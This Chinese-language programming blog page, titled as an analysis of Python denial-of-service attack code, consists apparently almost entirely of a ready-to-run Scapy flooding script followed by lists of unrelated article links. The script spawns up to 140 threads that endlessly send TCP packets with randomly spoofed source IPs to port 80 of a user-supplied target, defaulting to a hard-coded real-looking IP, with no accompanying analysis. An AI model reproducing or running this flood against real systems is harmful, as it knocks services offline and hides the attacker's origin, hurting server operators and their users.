分析python服务器拒绝服务攻击代码


Posted in Python onJanuary 16, 2014
# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,activeCount
from random import randint
class Loop(Thread):
    def __init__(self,remoteAddr):
        Thread.__init__(self)
        self.remoteAddr = remoteAddr
    def run(self):
        ip = str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))
        sr1(IP(src = ip,dst = self.remoteAddr)/TCP(dport = 80),retry = 0,verbose = 0,timeout = 3)
        
class Main(Thread):
    def __init__(self,remoteAddr):
        Thread.__init__(self)
        self.remoteAddr = remoteAddr
    def run(self):
        limit = 140
        total = 0
        while True:
            if activeCount() < limit:
                Loop(remoteAddr = self.remoteAddr).start()
                total = total + 1
            print '目前已经进行的HttpFlood的次数为:',total
if __name__ == '__main__':
    remoteAddr = raw_input('IP=')
    if remoteAddr == '':
        remoteAddr = '202.103.25.12'
    Main(remoteAddr = remoteAddr).start()
Python 相关文章推荐
Python中优化NumPy包使用性能的教程
Apr 23 Python
python套接字流重定向实例汇总
Mar 03 Python
Python的净值数据接口调用示例分享
Mar 15 Python
python基于twisted框架编写简单聊天室
Jan 02 Python
利用python库在局域网内传输文件的方法
Jun 04 Python
Python爬虫抓取技术的一些经验
Jul 12 Python
django之从html页面表单获取输入的数据实例
Mar 16 Python
python3 配置logging日志类的操作
Apr 08 Python
python使用nibabel和sitk读取保存nii.gz文件实例
Jul 01 Python
opencv 图像腐蚀和图像膨胀的实现
Jul 07 Python
python操作微信自动发消息的实现(微信聊天机器人)
Jul 14 Python
基于logstash实现日志文件同步elasticsearch
Aug 06 Python
python获取豆瓣电影简介代码分享
Jan 16 #Python
linux系统使用python获取cpu信息脚本分享
Jan 15 #Python
linux系统使用python监测系统负载脚本分享
Jan 15 #Python
linux系统使用python获取内存使用信息脚本分享
Jan 15 #Python
linux系统使用python监测网络接口获取网络的输入输出
Jan 15 #Python
linux系统使用python监控apache服务器进程脚本分享
Jan 15 #Python
Python获取当前时间的方法
Jan 14 #Python
You might like
如何利用php array_multisort函数 对数据库结果进行复杂排序
2013/06/08 PHP
PHP 通过Socket收发十六进制数据的实现代码
2013/08/16 PHP
laravel中短信发送验证码的实现方法
2018/04/25 PHP
Array.slice()与Array.splice()的返回值类型
2006/10/09 Javascript
javascript 命名空间以提高代码重用性
2008/11/13 Javascript
JavaScript学习笔记(十)
2010/01/17 Javascript
几个比较经典常用的jQuery小技巧
2010/03/01 Javascript
js本身的局限性 别让javascript做太多事
2010/03/23 Javascript
js 数组的for循环到底应该怎么写?
2010/05/31 Javascript
JavaScript中变量提升 Hoisting
2012/07/03 Javascript
JQuery之focus函数使用介绍
2013/08/20 Javascript
客户端js判断文件类型和文件大小即限制上传大小
2013/11/20 Javascript
淘宝网提供的国内NPM镜像简介和使用方法
2014/04/17 Javascript
javascript操作表格排序实例分析
2015/05/06 Javascript
JS实现转动随机数抽奖特效代码
2020/04/16 Javascript
基于JavaScript实现动态创建表格和增加表格行数
2015/12/20 Javascript
Js 获取当前函数参数对象的实现代码
2016/06/20 Javascript
jQuery操作dom实现弹出页面遮罩层(web端和移动端阻止遮罩层的滑动)
2016/08/25 Javascript
微信小程序  action-sheet详解及实例代码
2016/11/09 Javascript
JavaScript cookie详解及简单实例应用
2016/12/31 Javascript
微信小程序 动态的设置图片的高度和宽度详解及实例代码
2017/02/24 Javascript
js实现方块上下左右移动效果
2017/08/17 Javascript
JavaScript闭包与作用域链实例分析
2019/01/21 Javascript
如何使用Node.js爬取任意网页资源并输出PDF文件到本地
2019/06/17 Javascript
vue用BMap百度地图实现即时搜索功能
2019/09/26 Javascript
把MySQL表结构映射为Python中的对象的教程
2015/04/07 Python
Python实现获取命令行输出结果的方法
2017/06/10 Python
Anaconda下配置python+opencv+contribx的实例讲解
2018/08/06 Python
利用Python如何实现一个小说网站雏形
2018/11/23 Python
Python3基于print打印带颜色字符串
2020/07/06 Python
如何把python项目部署到linux服务器
2020/08/26 Python
美国精油公司:Plant Therapy
2019/05/17 全球购物
村委会贫困证明
2014/01/14 职场文书
如何打造一封优秀的留学推荐信
2014/01/25 职场文书
三分钟演讲稿事例
2014/03/03 职场文书
实习介绍信范文
2015/05/05 职场文书